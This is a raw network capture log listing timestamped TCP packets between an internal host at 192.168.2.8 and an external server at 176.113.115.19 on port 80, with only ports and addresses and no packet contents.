Jan 8, 2025 09:42:31.037770033 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037782907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037796021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037808895 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037828922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.037861109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037873983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037884951 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037890911 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.037899971 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037906885 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.037930965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037940025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.037944078 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037957907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037965059 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.037970066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.037980080 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.037985086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038001060 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038008928 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038039923 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038045883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038058043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038070917 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038077116 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038089991 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038115978 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038127899 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038141012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038153887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038172007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038183928 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038187027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038197994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038211107 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038240910 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038240910 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038253069 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038268089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038268089 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038307905 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038307905 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038465023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038486958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038500071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038516998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038520098 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038528919 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038531065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038549900 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038557053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038558006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038570881 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038583040 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038595915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038599968 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038599968 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038611889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038619995 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038642883 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038642883 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038662910 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038707018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038753986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038765907 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038767099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038781881 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038811922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038811922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038829088 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038882971 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038897038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038908958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038935900 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038957119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038969994 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.038979053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.038995028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.039005995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.039017916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.039031029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.039038897 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.039056063 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.039087057 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.039091110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.039103985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.039124966 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.039140940 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.039140940 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.039190054 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042426109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042442083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042454004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042465925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042479038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042498112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042529106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042531013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042545080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042577028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042608023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042615891 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042623997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042642117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042653084 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042654991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042669058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042670012 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042685986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042685986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042705059 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042705059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042717934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042726040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042737961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042751074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042759895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042759895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042762041 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042773008 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042840958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.042933941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042953968 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042967081 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042984009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.042995930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043004036 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043010950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043034077 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043035984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043051004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043062925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043072939 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043106079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043133974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043148994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043164015 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043175936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043189049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043199062 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043199062 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043200970 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043225050 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043255091 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043414116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043428898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043452978 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043464899 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043471098 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043471098 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043479919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043510914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043510914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043528080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043529034 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043540955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043554068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043565989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043571949 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043584108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043596983 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043596983 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043615103 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043621063 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043628931 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043643951 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043673992 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043679953 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043684006 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.043716908 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.043716908 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.096606016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.096618891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.096631050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.096685886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.096685886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.096692085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.096705914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.096718073 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.096729994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.096752882 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.096752882 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.096796989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.097075939 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.097088099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.097101927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.097134113 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.097150087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.097162962 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.097176075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.097189903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.097201109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.097223997 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.097242117 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128609896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128623009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128644943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128657103 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128669977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128671885 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128683090 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128696918 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128710032 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128719091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128727913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128731966 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128751993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128762960 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128767014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128781080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128806114 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128819942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128839016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128871918 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128871918 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128871918 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128885984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128900051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128918886 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128936052 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128936052 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128969908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128982067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.128993988 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.128994942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129004002 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129010916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129024029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129025936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129040003 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129060984 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129122972 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129141092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129153013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129163980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129179955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129188061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129188061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129194021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129234076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129235983 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129246950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129260063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129268885 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129280090 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129293919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129303932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129306078 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129306078 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129327059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129334927 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129339933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129359007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129373074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129374981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129374981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129388094 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129410982 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129447937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129465103 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129484892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129493952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129504919 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129506111 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129518986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129532099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129549026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129550934 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129550934 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129564047 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129579067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129581928 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129606009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129606009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129615068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129626989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129638910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129651070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129659891 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129673958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129678965 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129697084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129703045 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129710913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129731894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129734993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129734993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129744053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129759073 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129770994 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129770994 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129772902 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129786968 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129787922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129801035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129813910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129826069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129826069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129853964 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129872084 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129934072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129945993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129957914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129967928 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129971027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129986048 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.129992962 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.129997969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130012989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130021095 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130050898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130050898 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130081892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130095005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130108118 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130120039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130131960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130132914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130132914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130151987 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130157948 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130167007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130177021 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130181074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130203009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130218029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130229950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130232096 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130244017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130251884 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130258083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130270958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130273104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130286932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130299091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130300999 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130300999 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130310059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.130342007 CET	49708	80	192.168.2.8	176.113.115.19
